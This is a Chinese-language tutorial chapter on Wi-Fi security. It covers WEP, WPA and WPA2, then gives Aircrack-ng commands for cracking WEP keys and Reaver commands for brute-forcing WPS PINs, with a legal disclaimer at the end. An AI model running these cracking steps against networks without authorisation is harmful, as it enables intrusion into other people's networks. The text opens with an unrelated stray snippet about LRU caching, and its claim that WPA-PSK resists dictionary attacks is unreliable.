> Least Recently Used(LRU) 是緩存淘汰一種常用的策略，記憶體滿了則優先刪除最久沒被使用的數據。 ## LRU 演算法的需求 1. 接收一個參數 `capacity` 作為緩存的最大容量 2. 實現一個函數 `put()` 添加數據到緩存 3. 實現一個函數 `get()` 查詢 ...
在本章節中，我們將學習一些關於無線網路的基礎知識，如WEP、WPA和WPA2等加密技術。我們將儘量講解得詳細、通俗易懂，並提供儘可能多的實例。
6.1 無線網路基礎
無線區域網（WLAN）是一種基於無線電波傳輸的電腦網路，可以實現設備之間的通信和互聯。在家庭、企業和公共場所，無線網路已經成為一種主流的網路接入方式。
無線網路的主要標準是IEEE 802.11，它定義了一系列的物理層和數據鏈路層協議。目前，最常用的802.11標準有802.11a、802.11b、802.11g、802.11n和802.11ac等。
無線網路通常由一個或多個無線接入點（AP）和多個無線客戶端組成。客戶端通過無線接入點連接到有線網路，實現互聯網訪問或區域網通信。
6.2 無線網路加密技術
為了防止未授權設備連接無線網路和竊聽網路通信，無線網路通常採用一定的加密技術。目前，主要的無線網路加密技術有WEP、WPA和WPA2等。
6.2.1 WEP
有線等效保密（WEP）是IEEE 802.11標準最早的加密技術，旨在提供與有線網路相當的安全性。然而，由於設計缺陷和漏洞，WEP已經被證明是不安全的，不再建議使用。
WEP採用RC4流加密演算法，支持40位和104位的密鑰長度。在實際使用中，WEP密鑰通常以16進位或ASCII字元串的形式輸入。例如，一個40位的WEP密鑰可以是1234567890（16進位）或ABCDE（ASCII）。
6.2.2 WPA
Wi-Fi受保護訪問（WPA）是一種替代WEP的加密技術，可以提供更高的安全性。WPA採用臨時密鑰完整性協議（TKIP）和預共用密鑰（PSK）認證，可以防止字典攻擊、重放攻擊等威脅。
WPA的密鑰通常是一個8至63個字元的字元串，可以包含字母、數字和標點符號。與WEP相比，WPA的密鑰更長、更複雜，難以破解。
6.2.3 WPA2
WPA2是WPA的升級版本，採用高級加密標準（AES）和可擴展認證協議（EAP）等技術，可以提供更高的安全性。目前，WPA2已經成為無線網路加密的行業標準，建議在大多數場景中使用。
WPA2的密鑰通常與WPA相同，也是一個8至63個字元的字元串。WPA2的加密強度更高，更難以破解。
6.3 無線網路滲透測試工具和技術
在本節中，我們將介紹一些常用的無線網路滲透測試工具和技術，如Aircrack-ng、Reaver等。我們將儘量講解得詳細、通俗易懂，並提供儘可能多的實例。
6.3.1 Aircrack-ng
Aircrack-ng是一款開源的無線網路安全套件，包含了一系列用於監控、攻擊、測試和破解無線網路的工具。它可以用於對WEP和WPA/WPA2-PSK密鑰進行破解。
以下是使用Aircrack-ng進行WEP密鑰破解的一個簡單示例：
- 首先，啟用無線網卡的監聽模式：
airmon-ng start wlan0
- 使用
airodump-ng掃描周圍的無線網路：
airodump-ng wlan0mon
- 開始捕獲目標網路的數據包：
airodump-ng -c [channel] --bssid [BSSID] -w [output_file] wlan0mon
- 使用
aireplay-ng進行ARP請求重註（可選，加速數據包收集）：
aireplay-ng -3 -b [BSSID] -h [client_MAC] wlan0mon
- 當收集到足夠數量的數據包後，使用
aircrack-ng破解WEP密鑰：
aircrack-ng [output_file]-01.cap
6.3.2 Reaver
Reaver是一款用於破解WPA/WPA2-PSK密鑰的工具，基於Wi-Fi保護設置（WPS）漏洞進行攻擊。WPS是一種簡化無線網路配置的技術，但存在一定的安全風險。
以下是使用Reaver進行WPA/WPA2-PSK密鑰破解的一個簡單示例：
- 首先，啟用無線網卡的監聽模式：
airmon-ng start wlan0
- 使用
wash掃描支持WPS的無線網路：
wash -i wlan0mon
- 使用Reaver嘗試破解目標網路的WPA/WPA2-PSK密鑰：
reaver -i wlan0mon -b [BSSID] -vv
Reaver會嘗試暴力破解目標網路的WPS PIN碼，從而獲取WPA/WPA2-PSK密鑰。這個過程可能需要幾個小時甚至更長時間。
6.4 小結
在本章節中，我們學習了無線網路的基礎知識，包括IEEE 802.11標準、加密技術（WEP、WPA、WPA2）和滲透測試工具（Aircrack-ng、Reaver）。通過實際示例，我們瞭解瞭如何使用這些工具進行無線網路安全測試和破解。
在進行無線網路滲透測試時，請確保遵守相關法律法規，遵守道德規範，不要對他人的網路進行未經授權的攻擊。無線網路安全測試的目的是提高自己的網路安全意識，學習如何防範潛在的威脅。
推薦閱讀：
https://mp.weixin.qq.com/s/dV2JzXfgjDdCmWRmE0glDA
https://mp.weixin.qq.com/s/an83QZOWXHqll3SGPYTL5g
